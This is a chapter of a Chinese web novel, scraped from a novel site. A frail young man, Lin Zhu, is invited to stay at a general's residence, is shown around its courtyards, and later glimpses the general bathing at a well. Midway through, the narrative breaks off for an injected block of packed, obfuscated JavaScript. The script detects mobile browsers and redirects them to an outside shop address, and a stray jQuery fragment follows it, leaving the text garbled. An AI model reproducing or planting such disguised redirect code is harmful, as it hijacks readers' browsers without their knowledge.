文趣网 > 其他小说 > 在将军府任职男乳娘后 > 4. 第 4 章
    时间还早,天色阴沉沉的。

    林竹隔着一段距离跟在二人身后。

    前院空旷,管事已经不在。中庭两株枯树枝干交缠,结了层细碎晶莹的白霜。

    他绕过树影,放轻步伐,缓缓靠近堂前。

    林竹没有直接进去,静静停在大门,含着腰背,姿态拘谨。

    余光悄然往上抬,又迅速垂下。

    他所在的正厅阔敞,布局简朴。

    厅内正中墙悬挂一幅素绢立轴,提字“枕戈待旦”,笔锋苍劲,沉而有势。下方只设一张大案,两侧分列坐席。

    此时堂上坐了二人,萧远位于主位,萧九则在侧首。

    瞥见林竹仍在门外干站着,萧九朗声唤道:“进来坐啊,别拘着。”

    林竹踌躇,纠结再三,还是进去了。

    挑了个最角落的位置,并膝而坐。

    很快,管事领着后厨的人进来。

    仆役捧着热气蒸腾的托盘,麻利摆盘上桌。

    羊肉菌菇汤色泽白润,烤肉和油煎包子焦黄流油,边上还有一大盆米饭。

    样式不多,份量却不少,都是刚出锅的热食,滋滋冒油,气味喷香。

    林竹醒后没用早饭,此刻香味扑鼻,嗓子不禁咽了咽,口中直泛酸水。

    萧远喝了杯热茶,入座动筷。

    萧九跟着过去,大咧咧地,朝林竹招招手。

    “没吃早饭吧,快坐下一起吃。”

    林竹并未贸然上前。

    萧远说道:“过来吃。”

    话音起落,林竹如听军令。他连忙提着宽大袍子,换了个位置坐好。

    萧远和萧九都不说话,两人似乎饿狠了,大口进食。

    对比起萧九狼吞虎咽的吃相,萧远吃得虽快,却不显狼狈,反而稳当利落。

    林竹小心翼翼拿起筷子。

    他就着米饭干吞,尽可能细嚼慢咽,唯恐发出声响。

    主位上的男人突然眼皮微抬,认真干饭的萧九动作一顿,接收到将军的意思。

    于是清清嗓子,筷子一动,整块流油焦香的烤肉堆进林竹碗里。

    “怎么光吃饭不吃肉?多吃点,不差这几块肉。”

    林竹有些迟钝,“嗯”一声,又道了谢,继续安安静静地用饭。

    吃饱喝足,萧九拍拍肚子,给自己倒了杯茶。

    “林竹,大清早的你要走啊?”

    林竹放下碗筷,轻轻点头,又应了一声。

    “小人的伤已无大碍,不方便留在府上。”

    萧九又往主位瞅了眼,道:“那你打算去哪?有地方安顿吗,你的亲人不是已经……”

    林竹默然攥紧衣角,抿了抿唇。

    他无处可去,只求凭借双手讨一口饭。且不论多么脏苦,若能有个地方落脚,去哪都无妨。

    唯独……不想再给旁人添麻烦,尤其是将军。

    如此盘算一番,偏过脑袋,发现萧九盯着自己。

    而将军不知何时也看着他,手中的茶盏都要凉了。

    两人似乎等他开口。

    少年内心忐忑,如实把往后的打算讲了一遍。

    萧九听完眉毛直拧。

    “你身子薄弱,干苦活不合适吧。”

    又道:“将军,咱们府中清冷,多一口饭不算难事,不如就留下他吧?”

    林竹心头狂跳。

    他慌忙站起,捏着衣角的指尖微微颤抖。

    “不、不用的,将军救小人一命已是大恩,哪能再添麻烦…”

    萧九还要叨叨几句,主位上的人突然出声。

    “留下吧。”

    开口的是萧远。

    林竹噎住,怎敢置喙。

    余光瞧见将军手边的茶盏,盏内重新添了水,热气浮散,模糊了那张棱角分明的轮廓,辨不清神色。

    最终,他缓缓眨眼,轻声道:“小人愿意留下来……”

    *

    简单用过早饭,林竹便跟着管事走了。

    对方领着他回到这段日子居住的偏院,道:“以后你就住这儿,如若有事找我就行。”

    林竹满眼感激,诚恳致谢。

    “有劳管事费心。”

    管事摆手:“我先出去。”

    林竹送管事离开,而后悄悄关门。他取出前不久收拾的物件,重新归置一番。

    收拾妥当,又扶着墙转了会儿,停在窗前。

    清晨天光淡淡,照亮一方小小院子。井口水面云影浮动,一切安宁静谧。

    林竹深深吸了口气,未在耽搁,推门出去了。

    他打算找管事安排活计。

    将军对他有再造之恩,自然得报答的。

    可自己身无长物,能做什么呢?

    思来想去,唯有留在府里做杂活,做点力所能及的。

    五年,十年,甚至一辈子,以此回报这份天大的恩情,也算心安了。

    思索间,越过一处石砌洞门。

    管事招招手,笑道:“怎么来了。”

    林竹四处寻觅,欲找些力所能及的粗活。

    面前的院子空空,铺满青石板。右侧有口井,几个木桶叠放。左侧墙边立了一排簸箕扫帚,堆了些干草。

    他问:“有什么活要做吗?”

    说完,抓起墙边的扫帚,开始扫地。

    院内石板泛灰,却打理得洁净无尘。

    林竹愣住,放下扫帚,弯腰去提旁边的木桶。

    见状,管事拦了拦。

    “不急,前些日子你都在养伤,我先带你熟悉环境。”

    林竹闻言,顺从地点点头。

    “小人听您安排。”

    管事爽朗笑道:“随我来。”

    说罢,便引着林竹往外走。

    二人出了偏院,便是一道外墙。

    砖墙有些年头,斑驳粗糙,足有三丈多高。四面设置角楼,皆有护卫值守,时刻巡视周边。

    又一路行进,过前院,穿游廊,经主厅,来到后院。

    整个府邸分三个大院。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897852|212868||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前院最为开阔,设有宴厅,左右两侧回廊相连,各有房屋若干。

    中院是将军休息的堂屋,除此外,还有一片较为开阔的马场,以及练武场,可供下人耕种的田地。

    平日里若情况紧急,在府内策马赶路都不成问题,不过此举只将军可为之,若无允许,旁人不得越矩。

    一圈转下来,已过去大半个时辰。

    府邸称不上奢华,可作为边关大将军的居所,占地并不小。

    林竹腿脚不甚灵便,经过半时辰疾行,回到中庭时,累得颧骨发红,站着都气喘。

    管事见状,“哎”一声,语气自责。

    “我忘了你身子弱,腿脚还没恢复。”

    又道:“我们这帮粗人,从前只会跟着将军行军打仗,做事粗心惯了,有些地方难免不够周全。”

    言罢,指向不远处的石凳。

    “去那里歇会。”

    林竹绞着手指:“不怪您,是小人没用。”

    管事见他嘴唇又干又白,劝道:“别小人小人的了,快去歇吧,今日只带你熟悉环境,等明天再干活。”

    管事既这般劝说,林竹不好再推拒。

    且他确实疲累,加上衣袍宽松,走起路来很不利索,一路上都是提着裤脚和衣摆走的。

    这些事,他并未告诉管事。

    漂泊无依多年,能留在将军府已是万幸,哪敢再添麻烦。

    等以后闲下来,自己想办法将衣袍改小就好。

    管事还要去忙别的,临走前,特意交代:“府中无女眷,留下来的人都是随将军征战过的弟兄,平日里不必拘束。”

    林竹应声:“小人记下了。”

    待管事走远,他捶了捶发胀的腿。

    石凳贴着墙根摆放,起初,林竹姿势还算端正。渐渐的,腰身一点点软化,没骨头似的靠紧墙根蜷起来。

    约莫半晌,意识迷迷糊糊的,不知不觉睡了过去。

    朦胧中,耳畔似有细微动静,像是水声。

    他缓缓睁眼,影影绰绰间,远处走来一名男子,手中拎个大桶,站在井边打水。

    接着,男子解开衣物。

    对方赤裸半身,肩背阔挺,孔武健硕。

    铜色皮肤泛着冷硬的光泽,腹部绑白色束带,肌肉分明。后背位置,几道疤痕纵横交错,许是陈年旧伤,哪怕愈合,看起来依旧触目惊心。

    这是一具久经沙场,成熟男人的躯体。

    林竹眨眨眼,卷长睫毛扫着盖在眼皮的落发,似梦非梦,迟迟没反应。

    井边,萧远往身上泼了桶水,哗啦一声。

    水珠沿着健硕胸膛滑落,没入腹间边缘。

    他突然侧身,精准捕捉到石凳上的少年。

    只一眼,林竹和那道深潭般沉冷的视线相撞。

    他顿觉天旋地转,耳朵也听不见了。

    死死抿唇,腿脚不受控制地哆嗦,差点从石凳上摔下来。

    井边冲澡的男子,竟然是将军……!